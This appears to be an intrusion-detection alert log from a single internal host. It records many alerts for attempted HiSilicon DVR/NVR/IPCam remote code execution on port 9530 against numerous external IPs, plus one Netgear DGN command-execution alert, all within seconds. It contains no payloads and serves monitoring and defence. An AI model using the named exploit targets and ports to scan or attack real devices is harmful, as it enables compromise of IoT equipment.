05/16/24-16:39:12.382053	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39190	9530	192.168.2.23	147.146.7.99
05/16/24-16:39:12.382053	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39190	9530	192.168.2.23	147.146.7.99
05/16/24-16:39:08.044921	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60834	9530	192.168.2.23	178.176.4.108
05/16/24-16:39:08.044921	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60834	9530	192.168.2.23	178.176.4.108
05/16/24-16:39:12.301046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50284	9530	192.168.2.23	107.251.70.111
05/16/24-16:39:08.045062	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40034	9530	192.168.2.23	46.64.53.45
05/16/24-16:39:12.301046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50284	9530	192.168.2.23	107.251.70.111
05/16/24-16:39:02.763252	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42292	9530	192.168.2.23	57.165.22.16
05/16/24-16:39:08.045062	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40034	9530	192.168.2.23	46.64.53.45
05/16/24-16:38:50.063834	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58038	9530	192.168.2.23	151.247.43.111
05/16/24-16:38:59.518426	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54004	9530	192.168.2.23	50.152.191.19
05/16/24-16:39:08.092933	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37286	9530	192.168.2.23	204.115.240.82
05/16/24-16:38:59.518426	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54004	9530	192.168.2.23	50.152.191.19
05/16/24-16:39:02.726923	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43688	9530	192.168.2.23	80.62.193.19
05/16/24-16:39:02.763252	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42292	9530	192.168.2.23	57.165.22.16
05/16/24-16:39:08.092933	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37286	9530	192.168.2.23	204.115.240.82
05/16/24-16:39:16.580494	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47370	9530	192.168.2.23	78.122.185.231
05/16/24-16:38:50.063834	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58038	9530	192.168.2.23	151.247.43.111
05/16/24-16:39:16.580494	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47370	9530	192.168.2.23	78.122.185.231
05/16/24-16:39:03.280147	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53620	9530	192.168.2.23	64.63.81.48
05/16/24-16:38:55.196456	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55764	9530	192.168.2.23	27.53.81.64
05/16/24-16:39:02.726923	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43688	9530	192.168.2.23	80.62.193.19
05/16/24-16:38:55.196456	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55764	9530	192.168.2.23	27.53.81.64
05/16/24-16:39:03.280147	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53620	9530	192.168.2.23	64.63.81.48
05/16/24-16:39:14.493403	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43024	9530	192.168.2.23	123.36.37.53
05/16/24-16:38:57.448957	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53682	9530	192.168.2.23	197.75.2.16
05/16/24-16:39:14.493403	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43024	9530	192.168.2.23	123.36.37.53
05/16/24-16:38:57.448957	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53682	9530	192.168.2.23	197.75.2.16
05/16/24-16:39:08.124568	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40482	9530	192.168.2.23	146.120.146.24
05/16/24-16:39:09.587543	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	47444	80	192.168.2.23	25.93.72.242
05/16/24-16:39:08.124568	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40482	9530	192.168.2.23	146.120.146.24
05/16/24-16:38:59.587384	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51098	9530	192.168.2.23	95.244.9.96
05/16/24-16:38:59.587384	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51098	9530	192.168.2.23	95.244.9.96
05/16/24-16:39:05.676884	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39256	9530	192.168.2.23	81.90.249.41
05/16/24-16:39:05.676884	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39256	9530	192.168.2.23	81.90.249.41
05/16/24-16:39:12.295448	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59188	9530	192.168.2.23	12.57.145.34
05/16/24-16:39:12.295448	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59188	9530	192.168.2.23	12.57.145.34
05/16/24-16:38:59.557148	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41308	9530	192.168.2.23	124.234.153.169
05/16/24-16:38:59.557148	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41308	9530	192.168.2.23	124.234.153.169
05/16/24-16:38:53.094685	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52062	9530	192.168.2.23	201.79.134.228
05/16/24-16:38:53.094685	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52062	9530	192.168.2.23	201.79.134.228
05/16/24-16:38:53.100369	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57062	9530	192.168.2.23	192.24.214.216
05/16/24-16:38:50.063879	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59866	9530	192.168.2.23	163.81.225.168
05/16/24-16:38:50.063879	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59866	9530	192.168.2.23	163.81.225.168
05/16/24-16:38:53.100369	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57062	9530	192.168.2.23	192.24.214.216
05/16/24-16:39:16.603538	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43982	9530	192.168.2.23	62.241.115.37
05/16/24-16:39:16.603538	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43982	9530	192.168.2.23	62.241.115.37
05/16/24-16:39:02.744337	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49388	9530	192.168.2.23	92.95.171.201
05/16/24-16:39:02.744337	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49388	9530	192.168.2.23	92.95.171.201
05/16/24-16:38:50.075703	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38026	9530	192.168.2.23	120.118.23.244
05/16/24-16:38:50.075703	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38026	9530	192.168.2.23	120.118.23.244
05/16/24-16:38:55.176045	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50246	9530	192.168.2.23	195.148.170.245
05/16/24-16:39:12.384317	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38720	9530	192.168.2.23	93.163.97.85
05/16/24-16:39:12.384317	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38720	9530	192.168.2.23	93.163.97.85
05/16/24-16:38:57.446946	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33432	9530	192.168.2.23	100.186.111.227
05/16/24-16:38:57.446946	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33432	9530	192.168.2.23	100.186.111.227
05/16/24-16:38:50.065117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40552	9530	192.168.2.23	79.75.204.9
05/16/24-16:38:50.065117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40552	9530	192.168.2.23	79.75.204.9
05/16/24-16:38:59.592937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53772	9530	192.168.2.23	151.225.84.223
05/16/24-16:38:59.592937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53772	9530	192.168.2.23	151.225.84.223
05/16/24-16:39:05.678478	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59302	9530	192.168.2.23	14.160.106.140
05/16/24-16:39:05.678478	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59302	9530	192.168.2.23	14.160.106.140
05/16/24-16:39:14.492259	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	32796	9530	192.168.2.23	1.155.134.26
05/16/24-16:39:14.492259	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	32796	9530	192.168.2.23	1.155.134.26
05/16/24-16:38:50.004271	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36594	9530	192.168.2.23	220.30.234.129
05/16/24-16:38:57.303515	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37502	9530	192.168.2.23	183.90.46.118
05/16/24-16:38:50.004271	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36594	9530	192.168.2.23	220.30.234.129
05/16/24-16:38:57.303515	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37502	9530	192.168.2.23	183.90.46.118
05/16/24-16:39:12.301145	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51004	9530	192.168.2.23	132.28.22.145
05/16/24-16:39:12.301145	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51004	9530	192.168.2.23	132.28.22.145
05/16/24-16:39:02.744365	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46894	9530	192.168.2.23	191.52.96.184
05/16/24-16:39:02.744365	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46894	9530	192.168.2.23	191.52.96.184
05/16/24-16:39:14.516181	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48872	9530	192.168.2.23	48.138.171.132
05/16/24-16:39:14.516181	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48872	9530	192.168.2.23	48.138.171.132
05/16/24-16:38:57.411388	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53058	9530	192.168.2.23	213.89.205.41
05/16/24-16:38:57.411388	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53058	9530	192.168.2.23	213.89.205.41
05/16/24-16:39:05.709519	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34332	9530	192.168.2.23	37.78.156.216
05/16/24-16:39:05.709519	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34332	9530	192.168.2.23	37.78.156.216
05/16/24-16:38:55.176045	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50246	9530	192.168.2.23	195.148.170.245
05/16/24-16:39:02.767706	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37740	9530	192.168.2.23	112.114.221.234
05/16/24-16:39:02.767706	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37740	9530	192.168.2.23	112.114.221.234
05/16/24-16:39:16.580465	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34218	9530	192.168.2.23	23.194.158.252
05/16/24-16:39:16.580465	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34218	9530	192.168.2.23	23.194.158.252
05/16/24-16:38:53.062221	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52144	9530	192.168.2.23	9.242.152.172
05/16/24-16:38:53.062221	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52144	9530	192.168.2.23	9.242.152.172
05/16/24-16:38:53.011217	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40886	9530	192.168.2.23	66.21.52.212
05/16/24-16:38:53.011217	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40886	9530	192.168.2.23	66.21.52.212
05/16/24-16:39:02.746086	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45148	9530	192.168.2.23	79.229.42.131
05/16/24-16:38:55.177046	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56990	9530	192.168.2.23	146.174.64.163
05/16/24-16:38:59.558022	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60934	9530	192.168.2.23	135.66.99.199
05/16/24-16:38:59.558022	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60934	9530	192.168.2.23	135.66.99.199
05/16/24-16:39:02.767716	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33688	9530	192.168.2.23	69.236.152.157
05/16/24-16:38:55.177046	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56990	9530	192.168.2.23	146.174.64.163
05/16/24-16:39:02.767716	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33688	9530	192.168.2.23	69.236.152.157
05/16/24-16:38:55.177039	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60108	9530	192.168.2.23	191.111.159.137
05/16/24-16:38:55.177039	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60108	9530	192.168.2.23	191.111.159.137
05/16/24-16:39:05.704135	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49280	9530	192.168.2.23	205.71.189.244
05/16/24-16:38:53.098255	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54052	9530	192.168.2.23	164.17.57.82
05/16/24-16:38:55.175004	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49714	9530	192.168.2.23	147.122.99.241
05/16/24-16:38:53.098255	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54052	9530	192.168.2.23	164.17.57.82
05/16/24-16:38:55.175004	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49714	9530	192.168.2.23	147.122.99.241
05/16/24-16:39:05.704135	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49280	9530	192.168.2.23	205.71.189.244
05/16/24-16:39:16.614089	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35126	9530	192.168.2.23	216.23.198.41
05/16/24-16:39:16.614089	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35126	9530	192.168.2.23	216.23.198.41
05/16/24-16:39:02.746086	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45148	9530	192.168.2.23	79.229.42.131
05/16/24-16:39:03.275895	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35784	9530	192.168.2.23	93.88.247.26
05/16/24-16:39:08.146380	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52472	9530	192.168.2.23	52.66.53.92
05/16/24-16:39:05.700299	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34696	9530	192.168.2.23	110.52.31.250
05/16/24-16:39:02.763364	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58728	9530	192.168.2.23	178.62.32.219
05/16/24-16:39:05.700299	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34696	9530	192.168.2.23	110.52.31.250
05/16/24-16:39:12.400471	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58594	9530	192.168.2.23	125.44.119.52
05/16/24-16:39:02.763364	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58728	9530	192.168.2.23	178.62.32.219
05/16/24-16:39:03.275895	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35784	9530	192.168.2.23	93.88.247.26
05/16/24-16:39:08.146380	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52472	9530	192.168.2.23	52.66.53.92
05/16/24-16:39:12.400471	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58594	9530	192.168.2.23	125.44.119.52
05/16/24-16:38:53.071305	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52536	9530	192.168.2.23	131.123.58.92
05/16/24-16:38:57.408681	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49850	9530	192.168.2.23	174.120.53.212
05/16/24-16:38:53.071305	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52536	9530	192.168.2.23	131.123.58.92
05/16/24-16:39:14.531158	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35634	9530	192.168.2.23	18.20.16.24
05/16/24-16:39:14.531158	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35634	9530	192.168.2.23	18.20.16.24
05/16/24-16:39:12.402897	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47482	9530	192.168.2.23	205.164.160.88
05/16/24-16:39:16.581420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36928	9530	192.168.2.23	124.93.203.60
05/16/24-16:38:57.408681	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49850	9530	192.168.2.23	174.120.53.212
05/16/24-16:39:05.677733	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33176	9530	192.168.2.23	195.49.177.104
05/16/24-16:39:12.402897	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47482	9530	192.168.2.23	205.164.160.88
05/16/24-16:38:53.011420	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53290	9530	192.168.2.23	108.223.179.43
05/16/24-16:39:05.677733	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33176	9530	192.168.2.23	195.49.177.104
05/16/24-16:38:53.011420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53290	9530	192.168.2.23	108.223.179.43
05/16/24-16:39:16.581420	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36928	9530	192.168.2.23	124.93.203.60
05/16/24-16:38:57.425694	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39244	9530	192.168.2.23	191.213.189.139
05/16/24-16:39:14.525670	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34470	9530	192.168.2.23	86.250.182.244
05/16/24-16:39:16.582500	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55462	9530	192.168.2.23	174.58.125.196
05/16/24-16:38:57.425694	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39244	9530	192.168.2.23	191.213.189.139
05/16/24-16:39:16.582500	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55462	9530	192.168.2.23	174.58.125.196
05/16/24-16:39:14.525670	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34470	9530	192.168.2.23	86.250.182.244
05/16/24-16:39:05.676840	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57218	9530	192.168.2.23	209.82.8.198
05/16/24-16:39:05.676840	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57218	9530	192.168.2.23	209.82.8.198
05/16/24-16:38:50.065072	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47634	9530	192.168.2.23	212.1.173.10
05/16/24-16:38:53.061024	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39678	9530	192.168.2.23	164.37.85.105
05/16/24-16:38:53.061024	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39678	9530	192.168.2.23	164.37.85.105
05/16/24-16:38:53.071291	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47928	9530	192.168.2.23	65.147.98.153
05/16/24-16:38:53.071291	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47928	9530	192.168.2.23	65.147.98.153
05/16/24-16:38:53.098248	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54812	9530	192.168.2.23	182.207.51.1
05/16/24-16:38:53.098248	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54812	9530	192.168.2.23	182.207.51.1
05/16/24-16:38:57.303959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60024	9530	192.168.2.23	124.247.250.203
05/16/24-16:39:14.494717	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40550	9530	192.168.2.23	108.196.186.73
05/16/24-16:38:59.592898	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34146	9530	192.168.2.23	106.63.194.54
05/16/24-16:38:57.303959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60024	9530	192.168.2.23	124.247.250.203
05/16/24-16:38:59.592898	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34146	9530	192.168.2.23	106.63.194.54
05/16/24-16:39:12.378488	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34906	9530	192.168.2.23	192.54.251.53
05/16/24-16:39:12.378488	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34906	9530	192.168.2.23	192.54.251.53
05/16/24-16:39:14.494717	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40550	9530	192.168.2.23	108.196.186.73
05/16/24-16:39:05.676885	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38494	9530	192.168.2.23	92.16.250.202
05/16/24-16:39:16.614043	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53492	9530	192.168.2.23	52.123.135.74
05/16/24-16:39:05.676885	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38494	9530	192.168.2.23	92.16.250.202
05/16/24-16:38:59.557981	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39232	9530	192.168.2.23	118.246.149.238
05/16/24-16:39:16.614043	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53492	9530	192.168.2.23	52.123.135.74
05/16/24-16:38:50.065072	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47634	9530	192.168.2.23	212.1.173.10
05/16/24-16:38:57.429985	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55170	9530	192.168.2.23	118.106.179.156
05/16/24-16:38:59.583146	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50058	9530	192.168.2.23	9.163.53.152
05/16/24-16:38:59.583146	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50058	9530	192.168.2.23	9.163.53.152
05/16/24-16:38:59.557981	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39232	9530	192.168.2.23	118.246.149.238
05/16/24-16:38:55.231868	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51618	9530	192.168.2.23	211.205.56.180
05/16/24-16:38:55.231868	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51618	9530	192.168.2.23	211.205.56.180
05/16/24-16:38:57.429985	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55170	9530	192.168.2.23	118.106.179.156
05/16/24-16:38:57.407572	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49254	9530	192.168.2.23	59.144.140.118
05/16/24-16:39:05.704110	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44058	9530	192.168.2.23	183.77.41.202
05/16/24-16:39:08.127212	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41304	9530	192.168.2.23	175.213.200.255
05/16/24-16:39:08.127212	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41304	9530	192.168.2.23	175.213.200.255
05/16/24-16:39:05.678403	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39000	9530	192.168.2.23	223.100.199.181
05/16/24-16:39:14.530322	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38124	9530	192.168.2.23	2.69.39.101
05/16/24-16:39:05.678403	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39000	9530	192.168.2.23	223.100.199.181
05/16/24-16:39:14.530322	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38124	9530	192.168.2.23	2.69.39.101
05/16/24-16:39:02.763331	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37380	9530	192.168.2.23	75.89.64.33
